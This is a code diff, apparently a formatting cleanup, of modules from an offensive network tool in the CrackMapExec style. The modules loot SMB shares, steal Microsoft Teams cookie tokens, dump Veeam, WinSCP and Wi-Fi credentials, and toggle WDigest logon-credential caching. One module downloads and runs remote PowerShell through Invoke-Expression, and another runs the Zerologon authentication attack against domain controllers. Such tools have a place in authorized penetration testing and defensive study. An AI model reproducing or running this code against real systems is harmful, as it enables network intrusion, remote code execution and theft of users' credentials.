f"Deleted LNK file on the {share['name']} share"
)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(
f"Error deleting LNK file on share {share['name']}: {e}"
)
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")

View File

@ -43,9 +43,7 @@ def make_dirs(path):
pass
get_list_from_option = lambda opt: list(
map(lambda o: o.lower(), filter(bool, opt.split(",")))
)
get_list_from_option = lambda opt: list(map(lambda o: o.lower(), filter(bool, opt.split(","))))
class SMBSpiderPlus:
@ -94,9 +92,7 @@ class SMBSpiderPlus:
filelist = self.smb.conn.listPath(share, subfolder + "*")
except SessionError as e:
self.logger.debug(
f'Failed listing files on share "{share}" in directory {subfolder}.'
)
self.logger.debug(f'Failed listing files on share "{share}" in directory {subfolder}.')
self.logger.debug(str(e))
if "STATUS_ACCESS_DENIED" in str(e):
@ -217,17 +213,11 @@ class SMBSpiderPlus:
self.results[share][next_path] = {
"size": humansize(result.get_filesize()),
#'ctime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime())),
"ctime_epoch": time.strftime(
"%Y-%m-%d %H:%M:%S", time.localtime(result.get_ctime_epoch())
),
"ctime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_ctime_epoch())),
#'mtime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime())),
"mtime_epoch": time.strftime(
"%Y-%m-%d %H:%M:%S", time.localtime(result.get_mtime_epoch())
),
"mtime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_mtime_epoch())),
#'atime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime())),
"atime_epoch": time.strftime(
"%Y-%m-%d %H:%M:%S", time.localtime(result.get_atime_epoch())
),
"atime_epoch": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(result.get_atime_epoch())),
}
# The collection logic is here. You can add more checks based
@ -237,17 +227,13 @@ class SMBSpiderPlus:
# of a RemoteFile object that perform a remote connection.
file_extension = next_path[next_path.rfind(".") + 1 :]
if file_extension in self.exclude_exts:
self.logger.debug(
f'The file "{next_path}" has an excluded extension'
)
self.logger.debug(f'The file "{next_path}" has an excluded extension')
continue
# If there is not results in the file but the size is correct,
# then we save it
if result.get_filesize() > self.max_file_size:
self.logger.debug(
f"File {result.get_longname()} has size {result.get_filesize()}"
)
self.logger.debug(f"File {result.get_longname()} has size {result.get_filesize()}")
continue
## You can add more checks here: date, ...
@ -318,9 +304,7 @@ class CMEModule:
description = "List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = (
True # Does it make sense to run this module on multiple hosts at a time?
)
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
@ -332,16 +316,10 @@ class CMEModule:
"""
self.read_only = module_options.get("READ_ONLY", True)
self.exclude_exts = get_list_from_option(
module_options.get("EXCLUDE_EXTS", "ico,lnk")
)
self.exlude_dirs = get_list_from_option(
module_options.get("EXCLUDE_DIR", "print$")
)
self.exclude_exts = get_list_from_option(module_options.get("EXCLUDE_EXTS", "ico,lnk"))
self.exlude_dirs = get_list_from_option(module_options.get("EXCLUDE_DIR", "print$"))
self.max_file_size = int(module_options.get("SIZE", 50 * 1024))
self.output_folder = module_options.get(
"OUTPUT", os.path.join("/tmp", "cme_spider_plus")
)
self.output_folder = module_options.get("OUTPUT", os.path.join("/tmp", "cme_spider_plus"))
def on_login(self, context, connection):
context.log.display("Started spidering plus with option:")

View File

@ -51,14 +51,8 @@ class CMEModule:
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
context.log.debug("StringBinding %s" % self.__stringbinding)
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(
connection.username, connection.password, connection.domain, lmhash, nthash
)
rpctransport.setRemoteHost(
connection.host
if not connection.kerberos
else connection.hostname + "." + connection.domain
)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
rpctransport.set_dport(self.port)
if connection.kerberos:
@ -70,16 +64,8 @@ class CMEModule:
error_text = "Protocol failed: %s" % e
context.log.critical(error_text)
if (
RPC_PROXY_INVALID_RPC_PORT_ERR in error_text
or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text
or RPC_PROXY_CONN_A1_404_ERR in error_text
or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text
):
context.log.critical(
"This usually means the target does not allow "
"to connect to its epmapper using RpcProxy."
)
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or RPC_PROXY_CONN_A1_404_ERR in error_text or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.critical("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.")
return
# Display results.
@ -91,13 +77,8 @@ class CMEModule:
if (tmp_uuid in endpoints) is not True:
endpoints[tmp_uuid] = {}
endpoints[tmp_uuid]["Bindings"] = list()
if (
uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]
in epm.KNOWN_UUIDS
):
endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[
uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]
]
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] in epm.KNOWN_UUIDS:
endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]]
else:
endpoints[tmp_uuid]["EXE"] = "N/A"
endpoints[tmp_uuid]["annotation"] = entry["annotation"][:-1].decode("utf-8")
@ -112,9 +93,7 @@ class CMEModule:
if "MS-RPRN" in endpoints[endpoint]["Protocol"]:
context.log.debug("Protocol: %s " % endpoints[endpoint]["Protocol"])
context.log.debug("Provider: %s " % endpoints[endpoint]["EXE"])
context.log.debug(
"UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"])
)
context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"]))
context.log.debug("Bindings: ")
for binding in endpoints[endpoint]["Bindings"]:
context.log.debug(" %s" % binding)

View File

@ -29,15 +29,9 @@ class CMEModule:
self.showservers = True
if module_options and "SHOWSERVERS" in module_options:
if (
module_options["SHOWSERVERS"].lower() == "true"
or module_options["SHOWSERVERS"] == "1"
):
if module_options["SHOWSERVERS"].lower() == "true" or module_options["SHOWSERVERS"] == "1":
self.showservers = True
elif (
module_options["SHOWSERVERS"].lower() == "false"
or module_options["SHOWSERVERS"] == "0"
):
elif module_options["SHOWSERVERS"].lower() == "false" or module_options["SHOWSERVERS"] == "0":
self.showservers = False
else:
print("Could not parse showservers option.")
@ -75,23 +69,11 @@ class CMEModule:
attributes=["distinguishedName", "name"],
sizeLimit=999,
)
if (
len(
[
subnet
for subnet in list_subnets
if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)
]
)
== 0
):
if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0:
context.log.highlight('Site "%s"' % site_name)
else:
for subnet in list_subnets:
if (
isinstance(subnet, ldapasn1_impacket.SearchResultEntry)
is not True
):
if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True:
continue
subnet = searchResEntry_to_dict(subnet)
subnet_dn = subnet["distinguishedName"]
@ -105,35 +87,14 @@ class CMEModule:
attributes=["cn"],
sizeLimit=999,
)
if (
len(
[
server
for server in list_servers
if isinstance(
server, ldapasn1_impacket.SearchResultEntry
)
]
)
== 0
):
if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0:
if len(site_description) != 0:
context.log.highlight(
'Site "%s" (Subnet:%s) (description:"%s")'
% (site_name, subnet_name, site_description)
)
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
else:
context.log.highlight(
'Site "%s" (Subnet:%s)' % (site_name, subnet_name)
)
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))
else:
for server in list_servers:
if (
isinstance(
server, ldapasn1_impacket.SearchResultEntry
)
is not True
):
if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True:
continue
server = searchResEntry_to_dict(server)["cn"]
if len(site_description) != 0:
@ -147,17 +108,9 @@ class CMEModule:
)
)
else:
context.log.highlight(
'Site "%s" (Subnet:%s) (Server:%s)'
% (site_name, subnet_name, server)
)
context.log.highlight('Site "%s" (Subnet:%s) (Server:%s)' % (site_name, subnet_name, server))
else:
if len(site_description) != 0:
context.log.highlight(
'Site "%s" (Subnet:%s) (description:"%s")'
% (site_name, subnet_name, site_description)
)
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
else:
context.log.highlight(
'Site "%s" (Subnet:%s)' % (site_name, subnet_name)
)
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))

View File

@ -23,9 +23,7 @@ class CMEModule:
with open("/tmp/teams_cookies2.txt", "wb") as f:
for path in paths:
try:
connection.conn.getFile(
"C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write
)
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
context.log.highlight("Found Cookie file in path " + path)
found = 1
self.parse_file(context, "skypetoken_asm")
@ -36,9 +34,7 @@ class CMEModule:
if "STATUS_SHARING_VIOLATION" in str(e):
context.log.debug(str(e))
context.log.highlight("Found Cookie file in path " + path)
context.log.fail(
"Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database"
)
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
if found == 0:
context.log.display("No cookie file found in Users folder")
@ -50,9 +46,7 @@ class CMEModule:
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
row = c.fetchone()
if row is None:
context.log.fail(
"No " + name + " present in Microsoft Teams Cookies database"
)
context.log.fail("No " + name + " present in Microsoft Teams Cookies database")
else:
context.log.success("Succesfully extracted " + name + ": ")
context.log.success(row[0])

View File

@ -33,9 +33,7 @@ class CMEModule:
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
)
keyHandle = ans["phkResult"]
dataType, uac_value = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "EnableLUA"
)
dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EnableLUA")
if uac_value == 1:
context.log.highlight("UAC Status: 1 (UAC Enabled)")

View File

@ -53,19 +53,13 @@ class CMEModule:
self.search_filter += f"(description={module_options['DESC_FILTER']})"
if "DESC_INVERT" in module_options:
self.search_filter += (
f"(!(description={module_options['DESC_INVERT']}))"
)
self.search_filter += f"(!(description={module_options['DESC_INVERT']}))"
if "USER_FILTER" in module_options:
self.search_filter += (
f"(sAMAccountName={module_options['USER_FILTER']})"
)
self.search_filter += f"(sAMAccountName={module_options['USER_FILTER']})"
if "USER_INVERT" in module_options:
self.search_filter += (
f"(!(sAMAccountName={module_options['USER_INVERT']}))"
)
self.search_filter += f"(!(sAMAccountName={module_options['USER_INVERT']}))"
self.search_filter += ")"
@ -80,12 +74,8 @@ class CMEModule:
On successful LDAP login we perform a search for all user objects that have a description.
Users can specify additional LDAP filters that are applied to the query.
"""
self.create_log_file(
connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S")
)
context.log.info(
f"Starting LDAP search with search filter '{self.search_filter}'"
)
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
try:
sc = ldap.SimplePagedResultsControl()
@ -155,18 +145,14 @@ class CMEModule:
description = attribute["vals"][0].asOctets().decode("utf-8")
except Exception as e:
entry = sAMAccountName or "item"
self.context.error(
f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'"
)
self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'")
if description and sAMAccountName not in self.account_names:
self.desc_count += 1
self.append_to_log(sAMAccountName, description)
if self.highlight(description):
self.context.log.highlight(
f"User: {sAMAccountName} - Description: {description}"
)
self.context.log.highlight(f"User: {sAMAccountName} - Description: {description}")
self.account_names.add(sAMAccountName)

View File

@ -24,9 +24,7 @@ class CMEModule:
multiple_hosts = True
def __init__(self):
with open(
get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r"
) as psFile:
with open(get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r") as psFile:
self.psScript = psFile.read()
def options(self, context, module_options):
@ -55,15 +53,9 @@ class CMEModule:
)
keyHandle = ans["phkResult"]
SqlDatabase = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName"
)[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName"
)[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName"
)[1].split("\x00")[:-1][0]
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
@ -84,23 +76,16 @@ class CMEModule:
self.psScript = self.psScript.replace("REPLACE_ME_SqlServer", SqlServer)
psScipt_b64 = b64encode(self.psScript.encode("UTF-16LE")).decode("utf-8")
output = connection.execute(
"powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True
)
output = connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
# Format ouput if returned in some XML Format
if "CLIXML" in output:
output = self.stripXmlOutput(context, output)
# Stripping whitespaces and newlines
output_stripped = [
" ".join(line.split()) for line in output.split("\r\n") if line.strip()
]
output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()]
# Error handling
if (
"Can't connect to DB! Exiting..." in output_stripped
or "No passwords found!" in output_stripped
):
if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped:
context.log.fail(output_stripped[0])
return
@ -109,14 +94,8 @@ class CMEModule:
context.log.highlight(user + ":" + password)
def on_admin_login(self, context, connection):
SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(
context, connection
)
SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection)
if SqlDatabase and SqlInstance and SqlServer:
context.log.success(
'Found Veeam DB "{}" on SQL Server "{}\\{}"! Extracting stored credentials...'.format(
SqlDatabase, SqlServer, SqlInstance
)
)
context.log.success('Found Veeam DB "{}" on SQL Server "{}\\{}"! Extracting stored credentials...'.format(SqlDatabase, SqlServer, SqlInstance))
self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer)

View File

@ -58,14 +58,10 @@ class CMEModule:
1,
)
rtype, data = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00"
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00")
if int(data) == 1:
context.log.success(
"UseLogonCredential registry key created successfully"
)
context.log.success("UseLogonCredential registry key created successfully")
try:
remoteOps.finish()
@ -111,9 +107,7 @@ class CMEModule:
"UseLogonCredential\x00",
)
except DCERPCException:
context.log.success(
"UseLogonCredential registry key deleted successfully"
)
context.log.success("UseLogonCredential registry key deleted successfully")
try:
remoteOps.finish()

View File

@ -38,9 +38,7 @@ class CMEModule:
self.payload = module_options["PAYLOAD"]
def on_admin_login(self, context, connection):
ps_command = """[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');""".format(
self.url
)
ps_command = """[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');""".format(self.url)
if self.payload == "32":
connection.ps_execute(ps_command, force_ps32=True)
else:

View File

@ -36,9 +36,7 @@ class CMEModule:
that the WebClient service is running on the target.
"""
try:
remote_file = RemoteFile(
connection.conn, "DAV RPC Service", "IPC$", access=FILE_READ_DATA
)
remote_file = RemoteFile(connection.conn, "DAV RPC Service", "IPC$", access=FILE_READ_DATA)
remote_file.open()
remote_file.close()

View File

@ -8,9 +8,7 @@ class CMEModule:
description = "Get details of provided user"
supported_protocols = ["ldap"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = (
True # Does it make sense to run this module on multiple hosts at a time?
)
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
@ -27,9 +25,7 @@ class CMEModule:
else:
searchFilter = f"(sAMAccountName={format(self.username)})"
context.log.debug(
f"Using naming context: {searchBase} and {searchFilter} as search filter"
)
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
# Get attributes of provided user
r = connection.ldapConnection.search(
@ -72,9 +68,7 @@ class CMEModule:
for group in response["vals"]:
context.log.highlight(f"Member of: {group}")
elif "servicePrincipalName" in str(response["type"]):
context.log.highlight(
f"Service Account Name(s) found - Potentially Kerberoastable user!"
)
context.log.highlight(f"Service Account Name(s) found - Potentially Kerberoastable user!")
for spn in response["vals"]:
context.log.highlight(f"Service Account Name: {spn}")
else:

View File

@ -70,14 +70,11 @@ class CMEModule:
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\"
+ userObject,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
keyHandle = ans["phkResult"]
userProfilePath = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath"
)[1].split("\x00")[:-1][0]
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
self.userDict[userObject] = userProfilePath.split("\\")[-1]
finally:
@ -144,24 +141,14 @@ class CMEModule:
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
userObject
+ "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\"
+ sessionName,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
)
keyHandle = ans["phkResult"]
hostName = unquote(
rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "HostName"
)[1].split("\x00")[:-1][0]
)
userName = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "UserName"
)[1].split("\x00")[:-1][0]
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "HostName")[1].split("\x00")[:-1][0])
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UserName")[1].split("\x00")[:-1][0]
try:
password = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "Password"
)[1].split("\x00")[:-1][0]
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Password")[1].split("\x00")[:-1][0]
except:
context.log.debug("Session found but no Password is stored!")
password = ""
@ -203,11 +190,7 @@ class CMEModule:
# Get User Names
userNames = []
for i in range(users):
userNames.append(
rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)[
"lpNameOut"
].split("\x00")[:-1][0]
)
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
# Filter legit users in regex
@ -247,11 +230,7 @@ class CMEModule:
# Get User Names
for i in range(users):
userObjects.append(
rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)[
"lpNameOut"
].split("\x00")[:-1][0]
)
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
except:
context.log.fail("Error handling Users in registry")
@ -276,23 +255,18 @@ class CMEModule:
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\"
+ userObject,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
keyHandle = ans["phkResult"]
userProfilePath = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath"
)[1].split("\x00")[:-1][0]
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
# Load Profile
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp, regHandle, ""
)
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
keyHandle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
@ -324,9 +298,7 @@ class CMEModule:
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
try:
rrp.hBaseRegUnLoadKey(
remoteOps._RemoteOperations__rrp, keyHandle, userObject
)
rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject)
except:
traceback.print_exc()
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
@ -344,14 +316,11 @@ class CMEModule:
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
userObject
+ "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
)
keyHandle = ans["phkResult"]
useMasterPassword = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword"
)[1]
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
@ -369,9 +338,7 @@ class CMEModule:
self.userObjectToNameMapper(context, connection, allUserObjects)
# Users which must be loaded into registry:
unloadedUserObjects = list(
set(userObjects).symmetric_difference(set(allUserObjects))
)
unloadedUserObjects = list(set(userObjects).symmetric_difference(set(allUserObjects)))
self.loadMissingUsers(context, connection, unloadedUserObjects)
# Retrieve how many sessions are stored in registry from each UserObject
@ -386,24 +353,14 @@ class CMEModule:
)
keyHandle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(
remoteOps._RemoteOperations__rrp, keyHandle
)
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
sessions = data["lpcSubKeys"]
context.log.success(
'Found {} sessions for user "{}" in registry!'.format(
sessions - 1, self.userDict[userObject]
)
)
context.log.success('Found {} sessions for user "{}" in registry!'.format(sessions - 1, self.userDict[userObject]))
# Get Session Names
sessionNames = []
for i in range(sessions):
sessionNames.append(
rrp.hBaseRegEnumKey(
remoteOps._RemoteOperations__rrp, keyHandle, i
)["lpNameOut"].split("\x00")[:-1][0]
)
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
sessionNames.remove("Default%20Settings")
@ -414,17 +371,11 @@ class CMEModule:
for sessionName in sessionNames:
self.printCreds(
context,
self.registrySessionExtractor(
context, connection, userObject, sessionName
),
self.registrySessionExtractor(context, connection, userObject, sessionName),
)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug(
"No WinSCP config found in registry for user {}".format(
userObject
)
)
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
except Exception:
context.log.fail("Unexpected error:")
traceback.print_exc()
@ -432,9 +383,7 @@ class CMEModule:
except DCERPCException as e:
# Error during registry query
if str(e).find("rpc_s_access_denied"):
context.log.fail(
"Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry."
)
context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.")
except:
context.log.fail("UNEXPECTED ERROR:")
traceback.print_exc()
@ -475,17 +424,11 @@ class CMEModule:
context.log.success("Found config file! Extracting credentials...")
self.decodeConfigFile(context, confFile)
except:
context.log.fail(
"Error! No config file found at {}".format(self.filepath)
)
context.log.fail("Error! No config file found at {}".format(self.filepath))
traceback.print_exc()
else:
context.log.display(
"Looking for WinSCP creds in User documents and AppData..."
)
output = connection.execute(
'powershell.exe "Get-LocalUser | Select name"', True
)
context.log.display("Looking for WinSCP creds in User documents and AppData...")
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
users = []
for row in output.split("\r\n"):
users.append(row.strip())
@ -503,15 +446,9 @@ class CMEModule:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
context.log.success(
'Found config file at "{}"! Extracting credentials...'.format(
self.share + path
)
)
context.log.success('Found config file at "{}"! Extracting credentials...'.format(self.share + path))
except:
context.log.debug(
'No config file found at "{}"'.format(self.share + path)
)
context.log.debug('No config file found at "{}"'.format(self.share + path))
if confFile:
self.decodeConfigFile(context, confFile)

View File

@ -63,11 +63,7 @@ class CMEModule:
context.log.fail("No masterkeys looted")
return
context.log.success(
"Got {} decrypted masterkeys. Looting Wifi interfaces".format(
highlight(len(masterkeys))
)
)
context.log.success("Got {} decrypted masterkeys. Looting Wifi interfaces".format(highlight(len(masterkeys))))
try:
# Collect Chrome Based Browser stored secrets
@ -89,11 +85,6 @@ class CMEModule:
)
)
except:
context.log.highlight(
"[%s] %s - Passphrase: %s"
% (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password)
)
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
else:
context.log.highlight(
"[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type)
)
context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type))

View File

@ -14,9 +14,7 @@ MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
class CMEModule:
name = "zerologon"
description = (
"Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472"
)
description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
@ -30,13 +28,9 @@ class CMEModule:
def on_login(self, context, connection):
self.context = context
if self.perform_attack(
"\\\\" + connection.hostname, connection.host, connection.hostname
):
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight(
"Next step: https://github.com/dirkjanm/CVE-2020-1472"
)
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
host = self.context.db.get_hosts(connection.host)[0]
self.context.db.add_host(
@ -61,18 +55,13 @@ class CMEModule:
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
for attempt in range(0, MAX_ATTEMPTS):
result = try_zero_authenticate(
rpc_con, dc_handle, dc_ip, target_computer
)
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
if result:
return True
else:
self.context.log.debug("\nAttack failed. Target is probably patched.")
except DCERPCException as e:
self.context.log.fail(
f"Error while connecting to host: DCERPCException, "
f"which means this is probably not a DC!"
)
self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!")
def fail(msg):
@ -95,9 +84,7 @@ def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
flags = 0x212FFFFF
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext
)
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,

View File

@ -19,10 +19,7 @@ def parse_targets(target):
for ip in ip_range:
yield str(ip)
else:
if (
ip_interface(target).ip.version == 6
and ip_address(target).is_link_local
):
if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
yield str(target)
else:
for ip in ip_network(target, strict=False):

View File

